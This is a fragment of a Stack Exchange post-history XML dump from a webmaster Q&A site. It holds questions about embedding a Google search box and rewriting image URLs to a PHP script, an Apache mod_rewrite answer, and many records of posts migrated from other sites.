  <row Id="15116" PostHistoryTypeId="2" PostId="7477" RevisionGUID="6f14328f-78ac-4e26-83c7-ad31f40b9b12" CreationDate="2011-01-08T01:09:20.377" UserId="4451" Text="Most people's home page is google.com.  My homepage is just a custom html page hosted on my computer.  I do this because I am a web developer, and I have several projects that I work on a one time, so I like to have quick links to all of them.  On that page I usually just have a Link to google.com for when I want to search.  But below all of my quick links, I want to add a google search box (with Autocompletions).  I first used a simple iframe to embed google.com into the page, but then my search results were confined to that iframe.  I wanted to search for something, then my results would open in a new tab.  I then came across this code snippet but it doesn't have Autocompletions:&#xD;&#xA;&#xD;&#xA;http://www.refactory.org/s/google_search/view/2&#xD;&#xA;&#xD;&#xA;How can I add Autocompletions to this?  Or is there a better way of doing it?  Thanks in advance for any advice" />
  <row Id="15117" PostHistoryTypeId="1" PostId="7477" RevisionGUID="6f14328f-78ac-4e26-83c7-ad31f40b9b12" CreationDate="2011-01-08T01:09:20.377" UserId="4451" Text="Embeding a generic google search with autocomplete - not a custom site search" />
  <row Id="15118" PostHistoryTypeId="3" PostId="7477" RevisionGUID="6f14328f-78ac-4e26-83c7-ad31f40b9b12" CreationDate="2011-01-08T01:09:20.377" UserId="4451" Text="&lt;google-search&gt;" />
  <row Id="15119" PostHistoryTypeId="2" PostId="7478" RevisionGUID="d85f1dd7-e7e7-434f-9c5b-02858b0c4f10" CreationDate="2011-01-08T01:18:04.643" UserDisplayName="Chris Lipscomb" Text="Not sure if your region falls within one of theirs but check out http://www.giltcity.com/ which is sort of a GroupOn for luxury businesses" />
  <row Id="15298" PostHistoryTypeId="2" PostId="7479" RevisionGUID="518fcd4f-18d8-4793-bcf5-f78df04f5af8" CreationDate="2011-01-08T03:59:58.683" UserId="3263" Text="I'm trying to create a service that you give it a URL like `http://myhost.com/34.png` and it will return the result of the script `http://myhost.com/create_image.php?count=34`.&#xD;&#xA;&#xD;&#xA;I know this is possible with mod_rewrite, but I'm very new to this and I'd like some pointers on how to do this. I only want it to work for numbers." />
  <row Id="15299" PostHistoryTypeId="1" PostId="7479" RevisionGUID="518fcd4f-18d8-4793-bcf5-f78df04f5af8" CreationDate="2011-01-08T03:59:58.683" UserId="3263" Text="Rewrite URL to a PHP script with parameters" />
  <row Id="15300" PostHistoryTypeId="3" PostId="7479" RevisionGUID="518fcd4f-18d8-4793-bcf5-f78df04f5af8" CreationDate="2011-01-08T03:59:58.683" UserId="3263" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="15304" PostHistoryTypeId="2" PostId="7481" RevisionGUID="58f0cc88-eded-4ac8-975d-63869054428e" CreationDate="2011-01-08T06:30:38.787" UserId="1064" Text="ServerFault's [Everything You Ever Wanted to Know about Mod_Rewrite Rules but Were Afraid to Ask][1] topic is a great start - but, more to the point, you're looking for something like this:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} ^/([0-9]*)\.png$&#xD;&#xA;    RewriteRule ([0-9]*)\.png$ /create_image.php?count=$1 [L]&#xD;&#xA;&#xD;&#xA;Line 1: Enable the [mod_rewrite][2] engine (the `mod_rewrite` Apache module may need to be installed and enabled separately of this directive if it is not already active - i.e. if &quot;RewriteEngine on&quot; throws an error)&#xD;&#xA;&#xD;&#xA;Line 2: If (and *only* if) the request file path begins with a leading slash and is composed of a numeric string (of arbitrary length) followed by the &quot;.png&quot; extension (note use of `\` character for escaping) then...&#xD;&#xA;&#xD;&#xA;Line 3: Set the variable `$1` to the numeric string and pass the request on to the create_image.php file with the `count` parameter set accordingly then stop (`L` = last request)&#xD;&#xA;&#xD;&#xA;I highly recommend the [AskApache `mod_rewrite` tutorials][3] if you're just picking up `mod_rewrite` - I believe you'll find it's pretty easy to get the hang of it if you're accustomed to writing scripts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/214512/everything-you-ever-wanted-to-know-about-mod-rewrite-rules-but-were-afraid-to-ask/214675&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html&#xD;&#xA;  [3]: http://www.askapache.com/htaccess/mod_rewrite-tips-and-tricks.html" />
  <row Id="15663" PostHistoryTypeId="17" PostId="3827" RevisionGUID="1a3bb866-6162-47c4-ad01-ac289f21c8df" CreationDate="2010-10-14T07:40:49.313" Comment="from http://stackoverflow.com/questions/4494/can-you-should-you-learn-seo-techniques/4500#4500" Text="" />
  <row Id="15664" PostHistoryTypeId="17" PostId="3828" RevisionGUID="7024a5e3-218b-4fdc-82b4-c868d906db98" CreationDate="2010-10-14T07:40:49.313" Comment="from http://stackoverflow.com/questions/4494/can-you-should-you-learn-seo-techniques/4542#4542" Text="" />
  <row Id="15665" PostHistoryTypeId="17" PostId="3829" RevisionGUID="4b27eeec-8114-420c-98df-a1547656028e" CreationDate="2010-10-14T07:40:49.313" Comment="from http://stackoverflow.com/questions/4494/can-you-should-you-learn-seo-techniques/4568#4568" Text="" />
  <row Id="15666" PostHistoryTypeId="17" PostId="3830" RevisionGUID="8aa565dc-a844-4eb2-8e93-ae877306fd3a" CreationDate="2010-10-14T07:40:49.313" Comment="from http://stackoverflow.com/questions/4494/can-you-should-you-learn-seo-techniques/4575#4575" Text="" />
  <row Id="15667" PostHistoryTypeId="17" PostId="3831" RevisionGUID="ede223c9-2236-455c-a7ec-076ebbde77b9" CreationDate="2010-10-14T07:40:49.313" Comment="from http://stackoverflow.com/questions/4494/can-you-should-you-learn-seo-techniques/4580#4580" Text="" />
  <row Id="15668" PostHistoryTypeId="17" PostId="3832" RevisionGUID="350d5f95-9da5-4812-a3ea-ad7073f0d0e4" CreationDate="2010-10-14T07:40:49.313" Comment="from http://stackoverflow.com/questions/4494/can-you-should-you-learn-seo-techniques/7810#7810" Text="" />
  <row Id="15669" PostHistoryTypeId="17" PostId="3833" RevisionGUID="c6e709ba-cde4-4f02-857f-03616c53291f" CreationDate="2010-10-14T07:40:49.313" Comment="from http://stackoverflow.com/questions/4494/can-you-should-you-learn-seo-techniques/3041556#3041556" Text="" />
  <row Id="15671" PostHistoryTypeId="17" PostId="3845" RevisionGUID="92f76c4a-80c2-4de9-879e-b8c5982555e4" CreationDate="2010-10-14T13:30:37.967" Comment="from http://stackoverflow.com/questions/3925362/why-install-a-cms-for-clients/3925422#3925422" Text="" />
  <row Id="15672" PostHistoryTypeId="17" PostId="3846" RevisionGUID="54f2c072-dced-49e5-aa46-b894750319c1" CreationDate="2010-10-14T13:30:37.967" Comment="from http://stackoverflow.com/questions/3925362/why-install-a-cms-for-clients/3925479#3925479" Text="" />
  <row Id="15673" PostHistoryTypeId="17" PostId="3853" RevisionGUID="15ad4123-ac6a-4461-98b4-250901293319" CreationDate="2010-10-14T19:26:47.830" Comment="from http://stackoverflow.com/questions/3936638/ssl-and-green-address-bar/3936662#3936662" Text="" />
  <row Id="15674" PostHistoryTypeId="17" PostId="3854" RevisionGUID="6c9f068e-c72b-4693-95a1-99a5a20305fe" CreationDate="2010-10-14T19:26:47.830" Comment="from http://stackoverflow.com/questions/3936638/ssl-and-green-address-bar/3936666#3936666" Text="" />
  <row Id="15675" PostHistoryTypeId="17" PostId="3855" RevisionGUID="049df769-a800-4649-a995-2a9d7932b458" CreationDate="2010-10-14T19:26:47.830" Comment="from http://stackoverflow.com/questions/3936638/ssl-and-green-address-bar/3936717#3936717" Text="" />
  <row Id="15676" PostHistoryTypeId="17" PostId="3858" RevisionGUID="757e5d8c-919d-4037-aa34-a4ccb9022301" CreationDate="2010-10-15T00:04:03.243" Comment="from http://stackoverflow.com/questions/3932048/frustrated-trying-to-find-a-hosting-company-for-my-net-site/3932616#3932616" Text="" />
  <row Id="15677" PostHistoryTypeId="17" PostId="3859" RevisionGUID="2932af4d-967d-43f0-a961-268414405add" CreationDate="2010-10-15T00:04:03.243" Comment="from http://stackoverflow.com/questions/3932048/frustrated-trying-to-find-a-hosting-company-for-my-net-site/3934011#3934011" Text="" />
  <row Id="15678" PostHistoryTypeId="17" PostId="3860" RevisionGUID="ccad016e-670c-4a7a-837c-9135b8de1258" CreationDate="2010-10-15T00:04:03.243" Comment="from http://stackoverflow.com/questions/3932048/frustrated-trying-to-find-a-hosting-company-for-my-net-site/3934022#3934022" Text="" />
  <row Id="15679" PostHistoryTypeId="17" PostId="3861" RevisionGUID="e60fc1a6-91ae-4a68-8c15-9c79b4fb0611" CreationDate="2010-10-15T00:04:03.243" Comment="from http://stackoverflow.com/questions/3932048/frustrated-trying-to-find-a-hosting-company-for-my-net-site/3938349#3938349" Text="" />
  <row Id="15680" PostHistoryTypeId="17" PostId="3888" RevisionGUID="4a675fc3-88fc-48f5-ad89-329c2a76c32b" CreationDate="2010-10-15T19:13:31.020" Comment="from http://stackoverflow.com/questions/3937111/good-practice-for-formatting-seo-friendly-urls/3937132#3937132" Text="" />
  <row Id="15681" PostHistoryTypeId="17" PostId="3919" RevisionGUID="40f63168-d580-416f-a804-466b5ce5e58f" CreationDate="2010-10-16T15:36:55.877" Comment="from http://stackoverflow.com/questions/3937827/seo-url-for-multi-language-site/3937866#3937866" Text="" />
  <row Id="15683" PostHistoryTypeId="17" PostId="3924" RevisionGUID="e2f13fb7-b617-48ef-a3ac-1c404680b441" CreationDate="2010-10-16T16:19:23.633" Comment="from http://stackoverflow.com/questions/3949647/problem-with-description-of-my-site-and-google-search/3949666#3949666" Text="" />
  <row Id="15684" PostHistoryTypeId="17" PostId="3925" RevisionGUID="d65e9b1f-4661-445e-b3df-01bea269fbdc" CreationDate="2010-10-16T16:19:23.633" Comment="from http://stackoverflow.com/questions/3949647/problem-with-description-of-my-site-and-google-search/3949672#3949672" Text="" />
  <row Id="15685" PostHistoryTypeId="17" PostId="3944" RevisionGUID="33891482-4741-4849-878b-e13f33a3eec2" CreationDate="2010-10-17T01:21:43.197" Comment="from http://stackoverflow.com/questions/3951516/why-is-having-or-excluding-www-in-the-url-affecting-how-my-site-displays-to-u/3951521#3951521" Text="" />
  <row Id="15686" PostHistoryTypeId="17" PostId="3975" RevisionGUID="3b662e44-2e6a-4faa-84bf-2e5b616a7c78" CreationDate="2010-10-18T02:47:59.070" Comment="from http://stackoverflow.com/questions/3952382/change-of-mysql-db-password-brings-down-website/3952411#3952411" Text="" />
  <row Id="15687" PostHistoryTypeId="17" PostId="3988" RevisionGUID="60b29c32-0f63-408c-814b-305c1afbc010" CreationDate="2010-10-18T10:14:56.033" Comment="from http://stackoverflow.com/questions/3954134/rss-in-a-wordpress/3956003#3956003" Text="" />
  <row Id="15688" PostHistoryTypeId="17" PostId="3989" RevisionGUID="ba2a47b6-c970-4647-bb91-a7dd6c124601" CreationDate="2010-10-18T10:14:56.033" Comment="from http://stackoverflow.com/questions/3954134/rss-in-a-wordpress/3956418#3956418" Text="" />
  <row Id="15689" PostHistoryTypeId="17" PostId="4034" RevisionGUID="e6d273c5-135b-4c08-8088-b53d029ce8a3" CreationDate="2010-10-19T10:14:38.123" Comment="from http://serverfault.com/questions/192396/google-indexes-my-site-as-https-as-opposed-to-the-correct-http/192407#192407" Text="" />
  <row Id="15690" PostHistoryTypeId="17" PostId="4081" RevisionGUID="8afea326-66c8-4bf3-9348-044c2dcdbc95" CreationDate="2010-10-19T19:45:34.053" Comment="from http://stackoverflow.com/questions/3971921/metrics-on-market-share-for-server-side-scripting-languages/3972045#3972045" Text="" />
  <row Id="15691" PostHistoryTypeId="17" PostId="4106" RevisionGUID="19ae2b6d-13b5-465b-96d6-537c18054743" CreationDate="2010-10-20T09:13:19.570" Comment="from http://stackoverflow.com/questions/3976212/clean-url-with-or-without/3976242#3976242" Text="" />
  <row Id="15692" PostHistoryTypeId="17" PostId="4107" RevisionGUID="f6d65a4f-3a92-4068-b973-12a42a47853c" CreationDate="2010-10-20T09:13:19.570" Comment="from http://stackoverflow.com/questions/3976212/clean-url-with-or-without/3976255#3976255" Text="" />
  <row Id="15693" PostHistoryTypeId="17" PostId="4235" RevisionGUID="311a09fd-6279-4b0a-9ddb-919675f99250" CreationDate="2010-10-22T11:44:28.953" Comment="from http://webapps.stackexchange.com/questions/8483/should-i-redirect-to-rename-uri/8485#8485" Text="" />
  <row Id="15694" PostHistoryTypeId="17" PostId="4267" RevisionGUID="85b57890-ee1d-4358-9a0e-5189ee3bcaf3" CreationDate="2010-10-22T20:15:54.897" Comment="from http://webapps.stackexchange.com/questions/8352/how-do-i-set-up-anonymous-email-forwarder-using-cpanel/8353#8353" Text="" />
  <row Id="15695" PostHistoryTypeId="17" PostId="4268" RevisionGUID="59b846cd-d5d1-45f0-ae2d-552bfa210d33" CreationDate="2010-10-22T20:15:54.897" Comment="from http://webapps.stackexchange.com/questions/8352/how-do-i-set-up-anonymous-email-forwarder-using-cpanel/8354#8354" Text="" />
  <row Id="15696" PostHistoryTypeId="17" PostId="4362" RevisionGUID="6a962e1b-6458-4987-951d-d27a8b64b194" CreationDate="2010-10-25T12:08:29.793" Comment="from http://stackoverflow.com/questions/3093611/posts-appearing-in-wordpress-media-library/3989430#3989430" Text="" />
  <row Id="15697" PostHistoryTypeId="17" PostId="4368" RevisionGUID="2de1e6c6-01c8-4fbc-bd2e-628cfbe826dc" CreationDate="2010-10-25T13:00:58.247" Comment="from http://stackoverflow.com/questions/4014583/how-to-web-2-0-sites-get-first-few-members/4014635#4014635" Text="" />
  <row Id="15698" PostHistoryTypeId="17" PostId="4463" RevisionGUID="2720dd12-a8a4-4755-8c32-de13662f03a2" CreationDate="2010-10-27T11:35:32.970" Comment="from http://stackoverflow.com/questions/4019442/free-cheap-whois-api/4019470#4019470" Text="" />
  <row Id="15699" PostHistoryTypeId="17" PostId="4464" RevisionGUID="6f35599a-3e30-4e11-9cfd-1c498844fbb3" CreationDate="2010-10-27T11:35:32.970" Comment="from http://stackoverflow.com/questions/4019442/free-cheap-whois-api/4019725#4019725" Text="" />
  <row Id="15700" PostHistoryTypeId="17" PostId="4571" RevisionGUID="6c3b1aac-ac3a-462c-b907-cee46230401d" CreationDate="2010-10-28T22:54:50.093" Comment="from http://stackoverflow.com/questions/4036649/google-webmaster-tools-adding-pages-to-webmaster-tools-by-the-bulk/4036872#4036872" Text="" />
  <row Id="15701" PostHistoryTypeId="17" PostId="4577" RevisionGUID="e1838ba0-33e8-4808-8907-cac701356da6" CreationDate="2010-10-29T01:11:26.507" Comment="from http://stackoverflow.com/questions/4044431/how-does-xmlxslt-affect-seo/4044584#4044584" Text="" />
  <row Id="15702" PostHistoryTypeId="17" PostId="4578" RevisionGUID="089939d1-8308-493b-81d8-d69a39f8cc4d" CreationDate="2010-10-29T01:11:26.507" Comment="from http://stackoverflow.com/questions/4044431/how-does-xmlxslt-affect-seo/4044858#4044858" Text="" />
  <row Id="15703" PostHistoryTypeId="17" PostId="4580" RevisionGUID="2442da37-3930-4091-b2c0-5d0adf93312f" CreationDate="2010-10-29T01:11:59.630" Comment="from http://stackoverflow.com/questions/4032992/how-to-host-1-domain-on-multiple-servers/4033048#4033048" Text="" />
  <row Id="15704" PostHistoryTypeId="17" PostId="4601" RevisionGUID="12f25680-4538-48ee-9ecc-c55f2058a3ac" CreationDate="2010-10-29T10:12:04.603" Comment="from http://stackoverflow.com/questions/4049115/creating-a-facebook-page-with-your-domain-name/4049151#4049151" Text="" />
  <row Id="15705" PostHistoryTypeId="17" PostId="4634" RevisionGUID="438fa700-1c26-408c-8ec9-6186c2299092" CreationDate="2010-10-29T18:58:54.143" Comment="from http://stackoverflow.com/questions/4054875/my-joomla-site-hacked/4054889#4054889" Text="" />
  <row Id="15706" PostHistoryTypeId="17" PostId="4635" RevisionGUID="53b3285a-d3bd-401c-a0c8-40c69e7bd446" CreationDate="2010-10-29T18:58:54.143" Comment="from http://stackoverflow.com/questions/4054875/my-joomla-site-hacked/4054892#4054892" Text="" />
  <row Id="15707" PostHistoryTypeId="17" PostId="4636" RevisionGUID="3b2df529-0def-45f8-b5b4-cafb77f4de3e" CreationDate="2010-10-29T18:58:54.143" Comment="from http://stackoverflow.com/questions/4054875/my-joomla-site-hacked/4054894#4054894" Text="" />
  <row Id="15708" PostHistoryTypeId="17" PostId="4637" RevisionGUID="69429b76-6eeb-480d-beb0-0a05c9d7f304" CreationDate="2010-10-29T18:58:54.143" Comment="from http://stackoverflow.com/questions/4054875/my-joomla-site-hacked/4054942#4054942" Text="" />
  <row Id="15709" PostHistoryTypeId="17" PostId="4737" RevisionGUID="748ce09f-7f0f-43bd-a71a-8ac02b8a33fd" CreationDate="2010-11-01T01:17:25.820" Comment="from http://stackoverflow.com/questions/4055661/how-can-i-check-and-know-how-many-websites-blogs-are-linking-to-my-website/4055727#4055727" Text="" />
  <row Id="15710" PostHistoryTypeId="17" PostId="4738" RevisionGUID="0a0ee8fb-f349-4e2e-afd4-37dd27fc388a" CreationDate="2010-11-01T01:17:25.820" Comment="from http://stackoverflow.com/questions/4055661/how-can-i-check-and-know-how-many-websites-blogs-are-linking-to-my-website/4065527#4065527" Text="" />
  <row Id="15711" PostHistoryTypeId="17" PostId="4892" RevisionGUID="6a1fe59b-cb4c-4578-8a58-6304bc936a37" CreationDate="2010-11-03T01:03:19.103" Comment="from http://serverfault.com/questions/197479/whats-the-best-free-forum-software-out-there-right-now/197489#197489" Text="" />
  <row Id="15712" PostHistoryTypeId="17" PostId="4893" RevisionGUID="6186c83d-d04c-490e-926b-bcb08ee2fff9" CreationDate="2010-11-03T01:03:19.103" Comment="from http://serverfault.com/questions/197479/whats-the-best-free-forum-software-out-there-right-now/197491#197491" Text="" />
  <row Id="15713" PostHistoryTypeId="17" PostId="4894" RevisionGUID="8b5e8a1e-4568-4cb6-8cff-d8af6535af36" CreationDate="2010-11-03T01:03:19.103" Comment="from http://serverfault.com/questions/197479/whats-the-best-free-forum-software-out-there-right-now/197497#197497" Text="" />
  <row Id="15714" PostHistoryTypeId="17" PostId="4937" RevisionGUID="5a3367a7-a9eb-4ec4-920a-7197f7900e33" CreationDate="2010-11-03T18:02:49.663" Comment="from http://stackoverflow.com/questions/4086363/google-analytics-shows-0-visits/4086379#4086379" Text="" />
  <row Id="15715" PostHistoryTypeId="17" PostId="4999" RevisionGUID="4d13d78f-9b6c-4c52-9199-7956743b82aa" CreationDate="2010-11-04T12:35:19.903" Comment="from http://stackoverflow.com/questions/4085782/want-give-access-only-one-component-backend-manager-users/4085827#4085827" Text="" />
  <row Id="15716" PostHistoryTypeId="17" PostId="5002" RevisionGUID="6082b7cf-266a-4d19-9220-fdeeac0e7dad" CreationDate="2010-11-04T13:17:57.413" Comment="from http://stackoverflow.com/questions/4096693/looking-for-a-reliable-and-inexpensive-dedicated-server-host/4096761#4096761" Text="" />
  <row Id="15717" PostHistoryTypeId="17" PostId="5003" RevisionGUID="89203ef0-d0c4-4d13-a7f9-e1c3cc8c522f" CreationDate="2010-11-04T13:17:57.413" Comment="from http://stackoverflow.com/questions/4096693/looking-for-a-reliable-and-inexpensive-dedicated-server-host/4096790#4096790" Text="" />
  <row Id="15718" PostHistoryTypeId="17" PostId="5004" RevisionGUID="410f00a8-3a17-4a91-8654-b1b2384c73dd" CreationDate="2010-11-04T13:17:57.413" Comment="from http://stackoverflow.com/questions/4096693/looking-for-a-reliable-and-inexpensive-dedicated-server-host/4096840#4096840" Text="" />
  <row Id="15719" PostHistoryTypeId="17" PostId="5148" RevisionGUID="0fd702ec-662d-4c12-89d9-43a37be34bd7" CreationDate="2010-11-07T19:45:22.913" Comment="from http://stackoverflow.com/questions/4112758/my-site-in-spanish-is-not-getting-indexed-by-google/4112967#4112967" Text="" />
  <row Id="15721" PostHistoryTypeId="17" PostId="5159" RevisionGUID="ae819787-7c21-403f-81e4-74eb120bac1e" CreationDate="2010-11-08T06:09:58.797" Comment="from http://webapps.stackexchange.com/questions/9034/is-it-ok-to-have-case-insensitive-uri/9036#9036" Text="" />
  <row Id="15722" PostHistoryTypeId="17" PostId="5160" RevisionGUID="86cbd847-9e86-4589-a8c9-60b90c1c63fe" CreationDate="2010-11-08T06:09:58.797" Comment="from http://webapps.stackexchange.com/questions/9034/is-it-ok-to-have-case-insensitive-uri/9040#9040" Text="" />
  <row Id="15723" PostHistoryTypeId="17" PostId="5181" RevisionGUID="f623a44a-6a15-4d54-849a-2ffd3f8fc469" CreationDate="2010-11-08T13:59:31.620" Comment="from http://stackoverflow.com/questions/4124443/domain-or-subdomain-does-the-choice-affect-traffic/4124468#4124468" Text="" />
  <row Id="15724" PostHistoryTypeId="17" PostId="5182" RevisionGUID="f402a529-a2a4-4a4f-951e-ee246dc87ef7" CreationDate="2010-11-08T13:59:31.620" Comment="from http://stackoverflow.com/questions/4124443/domain-or-subdomain-does-the-choice-affect-traffic/4124512#4124512" Text="" />
  <row Id="15725" PostHistoryTypeId="17" PostId="5211" RevisionGUID="9e50e01e-a295-45dc-a1f0-703d72584fe8" CreationDate="2010-11-09T00:33:04.843" Comment="from http://stackoverflow.com/questions/4124170/recommended-approach-for-implementing-breadcrumbs/4124260#4124260" Text="" />
  <row Id="15726" PostHistoryTypeId="17" PostId="5212" RevisionGUID="ba0f3319-302d-4929-80c3-1a201a4d695b" CreationDate="2010-11-09T00:33:04.843" Comment="from http://stackoverflow.com/questions/4124170/recommended-approach-for-implementing-breadcrumbs/4124380#4124380" Text="" />
  <row Id="15727" PostHistoryTypeId="17" PostId="5323" RevisionGUID="c070a9bc-d744-45d9-93b4-25c2f1c54f78" CreationDate="2010-11-11T13:10:25.633" Comment="from http://stackoverflow.com/questions/4151192/multi-language-urls/4152672#4152672" Text="" />
  <row Id="15728" PostHistoryTypeId="17" PostId="5399" RevisionGUID="d8cb8282-ddbd-46d4-878f-3b69f93e69fe" CreationDate="2010-11-13T03:02:25.920" Comment="from http://stackoverflow.com/questions/4170537/how-to-choose-a-font-for-a-website/4170547#4170547" Text="" />
  <row Id="15730" PostHistoryTypeId="17" PostId="5435" RevisionGUID="e88302d9-f992-414e-8c26-9bc3c8b28619" CreationDate="2010-11-14T12:54:03.787" Comment="from http://stackoverflow.com/questions/4177179/tabs-and-seo-issue/4177301#4177301" Text="" />
  <row Id="15731" PostHistoryTypeId="17" PostId="5489" RevisionGUID="821e70db-3cce-42f2-a111-02f56c82a10e" CreationDate="2010-11-15T16:33:53.587" Comment="from http://stackoverflow.com/questions/4175410/what-new-cross-browser-features-can-we-use-if-we-drop-support-for-ie6/4175430#4175430" Text="" />
  <row Id="15732" PostHistoryTypeId="17" PostId="5490" RevisionGUID="168c06c0-b867-4f1b-bd0a-6084f4a37794" CreationDate="2010-11-15T16:33:53.587" Comment="from http://stackoverflow.com/questions/4175410/what-new-cross-browser-features-can-we-use-if-we-drop-support-for-ie6/4175460#4175460" Text="" />
  <row Id="15733" PostHistoryTypeId="17" PostId="5491" RevisionGUID="d381f02e-906e-4a1d-9657-b1a06b0572b2" CreationDate="2010-11-15T16:33:53.587" Comment="from http://stackoverflow.com/questions/4175410/what-new-cross-browser-features-can-we-use-if-we-drop-support-for-ie6/4175644#4175644" Text="" />
  <row Id="15734" PostHistoryTypeId="17" PostId="5492" RevisionGUID="80a9a757-ed54-4902-a193-cf7f1fb00f87" CreationDate="2010-11-15T16:33:53.587" Comment="from http://stackoverflow.com/questions/4175410/what-new-cross-browser-features-can-we-use-if-we-drop-support-for-ie6/4175654#4175654" Text="" />
  <row Id="15735" PostHistoryTypeId="17" PostId="5554" RevisionGUID="8e6aa17a-ba19-4258-b358-ba144d45f696" CreationDate="2010-11-17T15:15:11.593" Comment="from http://serverfault.com/questions/202840/importance-of-grabbing-a-domain-tld/202843#202843" Text="" />
  <row Id="15736" PostHistoryTypeId="17" PostId="5555" RevisionGUID="70fddfab-ba40-47bc-b1a7-c831545429f0" CreationDate="2010-11-17T15:15:11.593" Comment="from http://serverfault.com/questions/202840/importance-of-grabbing-a-domain-tld/202876#202876" Text="" />
  <row Id="15737" PostHistoryTypeId="17" PostId="5578" RevisionGUID="18eebd66-1025-4744-a321-e53983fc2ffb" CreationDate="2010-11-17T18:42:35.080" Comment="from http://stackoverflow.com/questions/4203794/overriding-link-action-with-ajax-seo/4204184#4204184" Text="" />
  <row Id="15738" PostHistoryTypeId="17" PostId="5580" RevisionGUID="90a2ab15-cfa3-4ed8-b1b8-5b75d43b8704" CreationDate="2010-11-17T19:49:19.983" Comment="from http://stackoverflow.com/questions/4208459/what-is-the-disadvantages-of-removing-html-tags-before-indexing/4208480#4208480" Text="" />
  <row Id="15739" PostHistoryTypeId="17" PostId="5582" RevisionGUID="60277875-d9c9-42c1-8ebf-75c023b7cf9c" CreationDate="2010-11-17T20:41:25.967" Comment="from http://stackoverflow.com/questions/4208851/which-database-to-use-for-large-website/4208880#4208880" Text="" />
  <row Id="15740" PostHistoryTypeId="17" PostId="5583" RevisionGUID="a49a6f56-744b-40c4-8565-2e4ec07c8e51" CreationDate="2010-11-17T20:41:25.967" Comment="from http://stackoverflow.com/questions/4208851/which-database-to-use-for-large-website/4208940#4208940" Text="" />
  <row Id="15741" PostHistoryTypeId="17" PostId="5594" RevisionGUID="86058fda-492e-4453-ad3f-5dd321c3184c" CreationDate="2010-11-18T02:45:56.843" Comment="from http://webapps.stackexchange.com/questions/9408/what-is-the-best-technology-to-build-database-oriented-applications/9409#9409" Text="" />
  <row Id="15742" PostHistoryTypeId="17" PostId="5638" RevisionGUID="61cf9ef4-2046-4489-bdc1-8cea7d3c6aae" CreationDate="2010-11-19T03:48:01.250" Comment="from http://stackoverflow.com/questions/4213770/what-is-the-difference-between-jsp-and-php-regarding-hosting/4213831#4213831" Text="" />
  <row Id="15743" PostHistoryTypeId="17" PostId="5654" RevisionGUID="b24dde6a-b93d-45c9-a706-c77c2da32751" CreationDate="2010-11-19T13:18:35.557" Comment="from http://stackoverflow.com/questions/4225250/does-the-google-spider-render-javascript/4225265#4225265" Text="" />
  <row Id="15744" PostHistoryTypeId="17" PostId="5655" RevisionGUID="f28c38f6-e2d2-4e95-b079-5027d13bea2d" CreationDate="2010-11-19T13:18:35.557" Comment="from http://stackoverflow.com/questions/4225250/does-the-google-spider-render-javascript/4225267#4225267" Text="" />
  <row Id="15745" PostHistoryTypeId="17" PostId="5656" RevisionGUID="2876edab-e26c-43b1-822b-73f093850435" CreationDate="2010-11-19T13:18:35.557" Comment="from http://stackoverflow.com/questions/4225250/does-the-google-spider-render-javascript/4225271#4225271" Text="" />
  <row Id="15746" PostHistoryTypeId="17" PostId="5657" RevisionGUID="c799712a-f1de-4f69-9b0e-328de5b67a25" CreationDate="2010-11-19T13:18:35.557" Comment="from http://stackoverflow.com/questions/4225250/does-the-google-spider-render-javascript/4225294#4225294" Text="" />
  <row Id="15747" PostHistoryTypeId="17" PostId="5760" RevisionGUID="8962646a-9bc8-4742-b550-36a45f6cf060" CreationDate="2010-11-22T14:00:53.813" Comment="from http://stackoverflow.com/questions/4211649/are-there-any-cross-operating-system-cross-browser-bugs-of-which-web-programmers/4211761#4211761" Text="" />
  <row Id="15748" PostHistoryTypeId="17" PostId="5821" RevisionGUID="3093dca0-3408-4d11-9874-402275266bf2" CreationDate="2010-11-23T13:03:39.327" Comment="from http://webapps.stackexchange.com/questions/5426/how-to-create-a-video-on-demand-service/9615#9615" Text="" />
  <row Id="15749" PostHistoryTypeId="17" PostId="5846" RevisionGUID="301801e0-3f41-4d56-9672-98a5ae849918" CreationDate="2010-11-23T23:36:56.763" Comment="from http://webapps.stackexchange.com/questions/9594/alternative-to-adsense/9607#9607" Text="" />
  <row Id="15750" PostHistoryTypeId="17" PostId="5847" RevisionGUID="30a8dd14-7079-4de9-ae38-6f66ffcaec7f" CreationDate="2010-11-23T23:36:56.763" Comment="from http://webapps.stackexchange.com/questions/9594/alternative-to-adsense/9612#9612" Text="" />
  <row Id="15751" PostHistoryTypeId="17" PostId="5933" RevisionGUID="7aba9e3a-843b-4c59-98f0-204128ee4314" CreationDate="2010-11-25T21:28:33.610" Comment="from http://stackoverflow.com/questions/4273544/modernizing-traditional-marriage-application-web-form/4273583#4273583" Text="" />
  <row Id="15752" PostHistoryTypeId="17" PostId="5934" RevisionGUID="615cc006-02c1-4d92-9e0e-8bc8f5c8a852" CreationDate="2010-11-25T21:28:33.610" Comment="from http://stackoverflow.com/questions/4273544/modernizing-traditional-marriage-application-web-form/4273620#4273620" Text="" />
  <row Id="15753" PostHistoryTypeId="17" PostId="5935" RevisionGUID="b5b1b82e-28e3-41ac-b80d-d4a552bee75d" CreationDate="2010-11-25T21:28:33.610" Comment="from http://stackoverflow.com/questions/4273544/modernizing-traditional-marriage-application-web-form/4273653#4273653" Text="" />
  <row Id="15754" PostHistoryTypeId="17" PostId="5936" RevisionGUID="3aefd460-d95e-47e2-b0f2-7c7524f46ac6" CreationDate="2010-11-25T21:28:33.610" Comment="from http://stackoverflow.com/questions/4273544/modernizing-traditional-marriage-application-web-form/4273966#4273966" Text="" />
  <row Id="15755" PostHistoryTypeId="17" PostId="5938" RevisionGUID="551eea75-a9e7-43db-9792-911b18ee96cd" CreationDate="2010-11-25T21:32:12.157" Comment="from http://stackoverflow.com/questions/4280386/engine-for-social-network/4280423#4280423" Text="" />
  <row Id="15756" PostHistoryTypeId="17" PostId="5939" RevisionGUID="5163befe-04a7-445b-a45d-9e6be7b06a28" CreationDate="2010-11-25T21:32:12.157" Comment="from http://stackoverflow.com/questions/4280386/engine-for-social-network/4280424#4280424" Text="" />
  <row Id="15757" PostHistoryTypeId="17" PostId="5970" RevisionGUID="e6366f75-0efe-488c-936e-fd448ca9c7ce" CreationDate="2010-11-26T17:59:07.713" Comment="from http://stackoverflow.com/questions/4286902/how-to-take-back-our-domain-name/4286929#4286929" Text="" />
